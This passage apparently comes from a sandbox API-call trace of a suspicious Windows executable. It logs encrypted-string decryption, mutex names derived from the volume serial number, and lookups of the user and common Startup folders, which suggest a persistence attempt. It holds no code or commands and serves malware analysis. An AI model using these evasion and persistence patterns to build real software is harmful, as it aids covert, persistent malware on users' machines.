(HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb814e8 [0031.705] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x0 [0031.705] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4200") returned 0x84 [0031.705] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0031.705] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0031.705] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814e8 | out: hHeap=0xb80000) returned 1 [0031.705] ReleaseMutex (hMutex=0x84) returned 1 [0031.705] CloseHandle (hObject=0x84) returned 1 [0031.705] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb814a0 [0031.706] CryptImportKey (in: hProv=0x585138, pbData=0x2cf904, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf96c | out: phKey=0x2cf96c*=0x584d00) returned 1 [0031.706] CryptSetKeyParam (hKey=0x584d00, dwParam=0x1, pbData=0x2cf954, dwFlags=0x0) returned 1 [0031.706] CryptDecrypt (in: hKey=0x584d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0x2cf920 | out: pbData=0xb814a0, pdwDataLen=0x2cf920) returned 1 [0031.706] CryptDestroyKey (hKey=0x584d00) returned 1 [0031.706] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb814c8 [0031.706] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb814f0 [0031.706] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81518 [0031.706] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf944 | out: phKey=0x2cf944*=0x584d00) returned 1 [0031.706] CryptSetKeyParam (hKey=0x584d00, dwParam=0x1, pbData=0x2cf92c, dwFlags=0x0) returned 1 [0031.706] CryptDecrypt (in: hKey=0x584d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81518, pdwDataLen=0x2cf8f8 | out: pbData=0xb81518, pdwDataLen=0x2cf8f8) returned 1 [0031.706] CryptDestroyKey (hKey=0x584d00) returned 1 [0031.706] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81518 | out: hHeap=0xb80000) returned 1 [0031.706] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb814c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.706] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814f0 | out: hHeap=0xb80000) returned 1 [0031.706] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0031.706] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cf9ac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cf9ac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.706] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814c8 | out: hHeap=0xb80000) returned 1 [0031.706] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb814a0 [0031.706] CryptImportKey (in: hProv=0x585138, pbData=0x2cf938, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf9a0 | out: phKey=0x2cf9a0*=0x584d00) returned 1 [0031.706] CryptSetKeyParam (hKey=0x584d00, dwParam=0x1, pbData=0x2cf988, dwFlags=0x0) returned 1 [0031.706] CryptDecrypt (in: hKey=0x584d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0x2cf954 | out: pbData=0xb814a0, pdwDataLen=0x2cf954) returned 1 [0031.706] CryptDestroyKey (hKey=0x584d00) returned 1 [0031.706] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb814e8 [0031.706] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0031.706] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x84 [0031.706] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0031.707] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0031.707] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814e8 | out: hHeap=0xb80000) returned 1 [0031.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a2019, lpParameter=0x2cfa74, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c [0031.707] Sleep (dwMilliseconds=0x1388) [0037.201] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb814a0 [0037.201] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8f0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf958 | out: phKey=0x2cf958*=0x588c40) returned 1 [0037.201] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf940, dwFlags=0x0) returned 1 [0037.201] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0x2cf90c | out: pbData=0xb814a0, pdwDataLen=0x2cf90c) returned 1 [0037.201] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.201] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb814c8 [0037.201] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb814f0 [0037.201] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81518 [0037.201] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf930 | out: phKey=0x2cf930*=0x588c40) returned 1 [0037.201] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf918, dwFlags=0x0) returned 1 [0037.201] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81518, pdwDataLen=0x2cf8e4 | out: pbData=0xb81518, pdwDataLen=0x2cf8e4) returned 1 [0037.201] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.201] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81518 | out: hHeap=0xb80000) returned 1 [0037.201] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb814c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0037.201] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814f0 | out: hHeap=0xb80000) returned 1 [0037.201] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0037.201] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2cf998, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2cf998*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.202] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814c8 | out: hHeap=0xb80000) returned 1 [0037.202] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb814a0 [0037.202] CryptImportKey (in: hProv=0x585138, pbData=0x2cf924, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf98c | out: phKey=0x2cf98c*=0x588c40) returned 1 [0037.202] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf974, dwFlags=0x0) returned 1 [0037.202] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0x2cf940 | out: pbData=0xb814a0, pdwDataLen=0x2cf940) returned 1 [0037.202] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.202] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb814e8 [0037.202] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x94 [0037.202] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0x0) returned 0x102 [0037.202] CloseHandle (hObject=0x94) returned 1 [0037.202] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814a0 | out: hHeap=0xb80000) returned 1 [0037.202] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb814e8 | out: hHeap=0xb80000) returned 1 [0037.202] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x60) returned 0xb814a0 [0037.202] CryptImportKey (in: hProv=0x585138, pbData=0x2cf948, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf9b0 | out: phKey=0x2cf9b0*=0x588c40) returned 1 [0037.202] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf998, dwFlags=0x0) returned 1 [0037.202] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb814a0, pdwDataLen=0x2cf964 | out: pbData=0xb814a0, pdwDataLen=0x2cf964) returned 1 [0037.202] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.202] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb81508 [0037.202] CryptImportKey (in: hProv=0x585138, pbData=0x2cf920, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf988 | out: phKey=0x2cf988*=0x588c40) returned 1 [0037.202] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf970, dwFlags=0x0) returned 1 [0037.202] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0x2cf93c | out: pbData=0xb81508, pdwDataLen=0x2cf93c) returned 1 [0037.202] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.202] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb81530 [0037.202] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb81558 [0037.202] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81580 [0037.202] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf960 | out: phKey=0x2cf960*=0x588c40) returned 1 [0037.202] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf948, dwFlags=0x0) returned 1 [0037.202] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81580, pdwDataLen=0x2cf914 | out: pbData=0xb81580, pdwDataLen=0x2cf914) returned 1 [0037.202] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.202] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81580 | out: hHeap=0xb80000) returned 1 [0037.202] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xb81530, nSize=0xf | out: lpDst="") returned 0x2c [0037.203] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81558 | out: hHeap=0xb80000) returned 1 [0037.203] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb81530, Size=0x3a) returned 0xb81530 [0037.203] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x3a) returned 0xb81578 [0037.203] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb815c0 [0037.203] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf95c | out: phKey=0x2cf95c*=0x588c40) returned 1 [0037.203] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf944, dwFlags=0x0) returned 1 [0037.203] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb815c0, pdwDataLen=0x2cf910 | out: pbData=0xb815c0, pdwDataLen=0x2cf910) returned 1 [0037.203] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.203] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb815c0 | out: hHeap=0xb80000) returned 1 [0037.203] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xb81530, nSize=0x1d | out: lpDst="") returned 0x2c [0037.203] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81578 | out: hHeap=0xb80000) returned 1 [0037.203] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb81530, Size=0x72) returned 0xb81530 [0037.203] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x72) returned 0xb815b0 [0037.203] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81630 [0037.203] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf95c | out: phKey=0x2cf95c*=0x588c40) returned 1 [0037.203] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf944, dwFlags=0x0) returned 1 [0037.203] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81630, pdwDataLen=0x2cf910 | out: pbData=0xb81630, pdwDataLen=0x2cf910) returned 1 [0037.203] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.203] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81630 | out: hHeap=0xb80000) returned 1 [0037.203] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xb81530, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0037.203] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb815b0 | out: hHeap=0xb80000) returned 1 [0037.203] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0037.203] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb815b0 [0037.203] CryptImportKey (in: hProv=0x585138, pbData=0x2cf91c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf984 | out: phKey=0x2cf984*=0x588c40) returned 1 [0037.203] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf96c, dwFlags=0x0) returned 1 [0037.203] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb815b0, pdwDataLen=0x2cf938 | out: pbData=0xb815b0, pdwDataLen=0x2cf938) returned 1 [0037.203] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.203] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x3e) returned 0xb815f8 [0037.203] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x3e) returned 0xb81640 [0037.203] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb81688 [0037.203] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf95c | out: phKey=0x2cf95c*=0x588c40) returned 1 [0037.203] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf944, dwFlags=0x0) returned 1 [0037.203] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81688, pdwDataLen=0x2cf910 | out: pbData=0xb81688, pdwDataLen=0x2cf910) returned 1 [0037.203] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.203] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x10) returned 0xb81508 [0037.203] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2cf8d8 | out: phkResult=0x2cf8d8*=0xb8) returned 0x0 [0037.204] RegQueryValueExW (in: hKey=0xb8, lpValueName="Startup", lpReserved=0x0, lpType=0x2cf8d4, lpData=0xb81640, lpcbData=0x2cf8dc*=0x3e | out: lpType=0x2cf8d4*=0x2, lpData=0xb81640*=0x8, lpcbData=0x2cf8dc*=0x98) returned 0xea [0037.204] RegCloseKey (hKey=0xb8) returned 0x0 [0037.204] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0037.204] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81688 | out: hHeap=0xb80000) returned 1 [0037.204] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81640 | out: hHeap=0xb80000) returned 1 [0037.204] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb815f8, Size=0x7a) returned 0xb815f8 [0037.204] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x7a) returned 0xb81680 [0037.204] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85508 [0037.204] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8f0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf958 | out: phKey=0x2cf958*=0x588c40) returned 1 [0037.204] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf940, dwFlags=0x0) returned 1 [0037.204] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85508, pdwDataLen=0x2cf90c | out: pbData=0xb85508, pdwDataLen=0x2cf90c) returned 1 [0037.204] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.204] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x10) returned 0xb81508 [0037.204] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2cf8d4 | out: phkResult=0x2cf8d4*=0xb8) returned 0x0 [0037.204] RegQueryValueExW (in: hKey=0xb8, lpValueName="Startup", lpReserved=0x0, lpType=0x2cf8d0, lpData=0xb81680, lpcbData=0x2cf8d8*=0x7a | out: lpType=0x2cf8d0*=0x2, lpData=0xb81680*=0x8, lpcbData=0x2cf8d8*=0x98) returned 0xea [0037.204] RegCloseKey (hKey=0xb8) returned 0x0 [0037.204] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0037.204] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0037.204] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81680 | out: hHeap=0xb80000) returned 1 [0037.204] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb815f8, Size=0xf2) returned 0xb815f8 [0037.204] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0xf2) returned 0xb85508 [0037.204] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85608 [0037.204] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8f0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf958 | out: phKey=0x2cf958*=0x588c40) returned 1 [0037.204] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf940, dwFlags=0x0) returned 1 [0037.204] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85608, pdwDataLen=0x2cf90c | out: pbData=0xb85608, pdwDataLen=0x2cf90c) returned 1 [0037.204] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.205] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x10) returned 0xb81508 [0037.205] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2cf8d4 | out: phkResult=0x2cf8d4*=0xb8) returned 0x0 [0037.205] RegQueryValueExW (in: hKey=0xb8, lpValueName="Startup", lpReserved=0x0, lpType=0x2cf8d0, lpData=0xb85508, lpcbData=0x2cf8d8*=0xf2 | out: lpType=0x2cf8d0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x2cf8d8*=0x98) returned 0x0 [0037.205] RegCloseKey (hKey=0xb8) returned 0x0 [0037.205] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0037.205] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb81508 [0037.205] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2cf8d4 | out: phkResult=0x2cf8d4*=0xb8) returned 0x0 [0037.205] RegQueryValueExW (in: hKey=0xb8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x2cf8d0, lpData=0xb855a0, lpcbData=0x2cf8d8*=0x5a | out: lpType=0x2cf8d0*=0x0, lpData=0xb855a0*=0xc4, lpcbData=0x2cf8d8*=0x5a) returned 0x2 [0037.205] RegCloseKey (hKey=0xb8) returned 0x0 [0037.205] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2cf8e8 | out: phkResult=0x2cf8e8*=0xb8) returned 0x0 [0037.205] RegQueryValueExW (in: hKey=0xb8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x2cf8e4, lpData=0xb855a0, lpcbData=0x2cf8ec*=0x5a | out: lpType=0x2cf8e4*=0x2, lpData=0xb855a0*=0xc4, lpcbData=0x2cf8ec*=0x78) returned 0xea [0037.205] RegCloseKey (hKey=0xb8) returned 0x0 [0037.205] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0037.205] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85608 | out: hHeap=0xb80000) returned 1 [0037.205] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0037.205] RtlReAllocateHeap (Heap=0xb80000, Flags=0x0, Ptr=0xb815f8, Size=0x1e2) returned 0xb85508 [0037.205] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e2) returned 0xb856f8 [0037.205] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb815f8 [0037.205] CryptImportKey (in: hProv=0x585138, pbData=0x2cf8f0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2cf958 | out: phKey=0x2cf958*=0x588c40) returned 1 [0037.205] CryptSetKeyParam (hKey=0x588c40, dwParam=0x1, pbData=0x2cf940, dwFlags=0x0) returned 1 [0037.205] CryptDecrypt (in: hKey=0x588c40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb815f8, pdwDataLen=0x2cf90c | out: pbData=0xb815f8, pdwDataLen=0x2cf90c) returned 1 [0037.205] CryptDestroyKey (hKey=0x588c40) returned 1 [0037.205] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x10) returned 0xb81508 [0037.205] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2cf8d4 | out: phkResult=0x2cf8d4*=0xb8) returned 0x0 [0037.206] RegQueryValueExW (in: hKey=0xb8, lpValueName="Startup", lpReserved=0x0, lpType=0x2cf8d0, lpData=0xb856f8, lpcbData=0x2cf8d8*=0x1e2 | out: lpType=0x2cf8d0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x2cf8d8*=0x98) returned 0x0 [0037.206] RegCloseKey (hKey=0xb8) returned 0x0 [0037.206] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0037.206] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb81508 [0037.206] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2cf8d4 | out: phkResult=0x2cf8d4*=0xb8) returned 0x0 [0037.206] RegQueryValueExW (in: hKey=0xb8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x2cf8d0, lpData=0xb85790, lpcbData=0x2cf8d8*=0x14a | out: lpType=0x2cf8d0*=0x0, lpData=0xb85790*=0x0, lpcbData=0x2cf8d8*=0x14a) returned 0x2 [0037.206] RegCloseKey (hKey=0xb8) returned 0x0 [0037.206] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x2cf8e8 | out: phkResult=0x2cf8e8*=0xb8) returned 0x0 [0037.206] RegQueryValueExW (in: hKey=0xb8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x2cf8e4, lpData=0xb85790, lpcbData=0x2cf8ec*=0x14a | out: lpType=0x2cf8e4*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x2cf8ec*=0x78) returned 0x0 [0037.206] RegCloseKey (hKey=0xb8) returned 0x0 [0037.206] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0037.206] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb815f8 | out: hHeap=0xb80000) returned 1 [0037.206] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0xb85508, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0037.206] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb856f8 | out: hHeap=0xb80000) returned 1 [0037.206] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb815b0 | out: hHeap=0xb80000) returned 1 [0037.206] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20a) returned 0xb856f8 [0037.206] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20a) returned 0xb85910 [0037.206] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20a) returned 0xb85b28 [0037.206] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20a) returned 0xb85d40 [0037.206] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb856f8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0037.206] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20a) returned 0xb85f58 [0037.206] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb85f58, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0037.206] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85f58 | out: hHeap=0xb80000) returned 